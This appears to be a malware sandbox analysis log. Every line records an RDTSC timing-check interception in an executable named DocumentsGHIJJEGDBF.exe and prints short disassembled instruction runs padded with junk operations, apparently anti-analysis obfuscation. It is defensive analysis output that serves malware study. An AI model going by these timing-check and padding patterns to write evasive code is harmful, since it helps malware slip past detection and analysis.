Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854BEC second address: 854C18 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b push eax 0x0000000c jmp 00007F9AD51D02B6h 0x00000011 pop eax 0x00000012 pop edi 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854C18 second address: 854C22 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854C22 second address: 854C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854C34 second address: 854C3A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854D66 second address: 854D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854D6A second address: 854DA3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F9AD4C553BBh 0x00000015 nop 0x00000016 adc si, 6B0Fh 0x0000001b add ecx, 30A22DC6h 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D22E8h], ebx 0x00000029 push B0F5B83Fh 0x0000002e push esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854DA3 second address: 854DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854DA7 second address: 854E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 add dword ptr [esp], 4F0A4841h 0x0000000e push ecx 0x0000000f add dword ptr [ebp+122D2AB5h], eax 0x00000015 pop edx 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F9AD4C553B8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 push 00000000h 0x00000034 or cx, AA08h 0x00000039 mov edi, dword ptr [ebp+122D38D5h] 0x0000003f push 00000003h 0x00000041 mov esi, dword ptr [ebp+122D39ADh] 0x00000047 call 00007F9AD4C553B9h 0x0000004c jmp 00007F9AD4C553C4h 0x00000051 push eax 0x00000052 pushad 0x00000053 jmp 00007F9AD4C553BAh 0x00000058 jno 00007F9AD4C553CEh 0x0000005e popad 0x0000005f mov eax, dword ptr [esp+04h] 0x00000063 jp 00007F9AD4C553CDh 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854E4F second address: 854E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854E53 second address: 854EB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edx 0x0000000c pushad 0x0000000d jnc 00007F9AD4C553B6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push edi 0x0000001c jnl 00007F9AD4C553BCh 0x00000022 jc 00007F9AD4C553B6h 0x00000028 pop edi 0x00000029 pop eax 0x0000002a lea ebx, dword ptr [ebp+12449A62h] 0x00000030 jg 00007F9AD4C553CAh 0x00000036 pushad 0x00000037 jmp 00007F9AD4C553C0h 0x0000003c mov ebx, esi 0x0000003e popad 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 jns 00007F9AD4C553B6h 0x00000049 push edi 0x0000004a pop edi 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854FE5 second address: 854FEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 854FEC second address: 855039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 314FD2F6h 0x0000000e pushad 0x0000000f mov eax, esi 0x00000011 jmp 00007F9AD4C553C4h 0x00000016 popad 0x00000017 lea ebx, dword ptr [ebp+12449A6Dh] 0x0000001d push esi 0x0000001e mov di, ax 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jp 00007F9AD4C553C9h 0x0000002b rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8676C7 second address: 8676DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jbe 00007F9AD51D02B4h 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F9AD51D02A6h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 876CB1 second address: 876CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9AD4C553BCh 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9AD4C553BAh 0x00000014 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 876CD1 second address: 876CD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 874F28 second address: 874F60 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9AD4C553BBh 0x0000000f pop eax 0x00000010 push eax 0x00000011 jno 00007F9AD4C553CDh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 874F60 second address: 874F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8750F8 second address: 875106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9AD4C553B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 875106 second address: 87512F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F9AD51D02AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9AD51D02AFh 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 87512F second address: 875158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C7h 0x00000007 jnc 00007F9AD4C553B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jg 00007F9AD4C553B6h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 875158 second address: 875178 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9AD51D02ACh 0x0000000a pop ebx 0x0000000b jl 00007F9AD51D02B2h 0x00000011 jbe 00007F9AD51D02A6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 875467 second address: 87546B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 87546B second address: 875491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD51D02B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F9AD51D02A6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 875C79 second address: 875C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 875C7D second address: 875C98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9AD51D02AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 875C98 second address: 875C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 875C9E second address: 875CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 875E36 second address: 875E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F9AD4C553B6h 0x00000009 jmp 00007F9AD4C553BEh 0x0000000e jbe 00007F9AD4C553B6h 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 87648E second address: 876492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 876492 second address: 87649A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8768EA second address: 8768F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 868D9B second address: 868DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 868DA1 second address: 868DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 87D7FF second address: 87D803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 87C0BB second address: 87C0BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 87C0BF second address: 87C0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007F9AD4C553C4h 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F9AD4C553B6h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 87DA44 second address: 87DA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 87DA48 second address: 87DA52 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8832DC second address: 883314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD51D02B6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d js 00007F9AD51D02A6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop esi 0x00000016 jmp 00007F9AD51D02B1h 0x0000001b rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 883314 second address: 88331F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007F9AD4C553B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8835BA second address: 8835BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88437A second address: 884380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 884380 second address: 8843A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jnl 00007F9AD51D02AEh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F9AD51D02A6h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8843A2 second address: 8843A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8843A6 second address: 8843C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9AD51D02ABh 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F9AD51D02ACh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8843C4 second address: 8843C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8843C8 second address: 884441 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jg 00007F9AD51D02AAh 0x00000012 pop eax 0x00000013 mov si, 1934h 0x00000017 call 00007F9AD51D02A9h 0x0000001c jno 00007F9AD51D02B4h 0x00000022 push eax 0x00000023 pushad 0x00000024 jmp 00007F9AD51D02B1h 0x00000029 jmp 00007F9AD51D02B5h 0x0000002e popad 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 jo 00007F9AD51D02AAh 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c pop edx 0x0000003d mov eax, dword ptr [eax] 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 push eax 0x00000043 pop eax 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 884441 second address: 884448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8849F3 second address: 8849F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8849F7 second address: 884A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 884B90 second address: 884B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 884B95 second address: 884BA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AD4C553BFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 884BA9 second address: 884BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F9AD51D02A6h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 885173 second address: 885179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8853E3 second address: 8853F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AD51D02B2h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88558F second address: 885593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 885593 second address: 88559D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9AD51D02A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8857E8 second address: 885804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b nop 0x0000000c xor si, 5402h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007F9AD4C553B6h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 885804 second address: 88580A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88580A second address: 885810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 885810 second address: 885814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 885814 second address: 885818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 887740 second address: 887791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c movzx esi, si 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F9AD51D02A8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F9AD51D02AEh 0x00000035 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 887791 second address: 887795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 887795 second address: 88779B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88779B second address: 8877BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8877BB second address: 8877BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8895B8 second address: 8895CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9AD4C553B6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8895CB second address: 8895D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8895D1 second address: 8895D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8895D6 second address: 8895DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88B179 second address: 88B182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88B182 second address: 88B1A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AD51D02B2h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F9AD51D02ADh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 83DCDE second address: 83DCE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 83DCE2 second address: 83DD0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02AEh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F9AD51D02ADh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 83DD0B second address: 83DD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 83DD10 second address: 83DD16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 83DD16 second address: 83DD1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 83DD1C second address: 83DD37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F9AD51D02B1h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 83DD37 second address: 83DD3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88B8AE second address: 88B8B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88C3A4 second address: 88C3AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
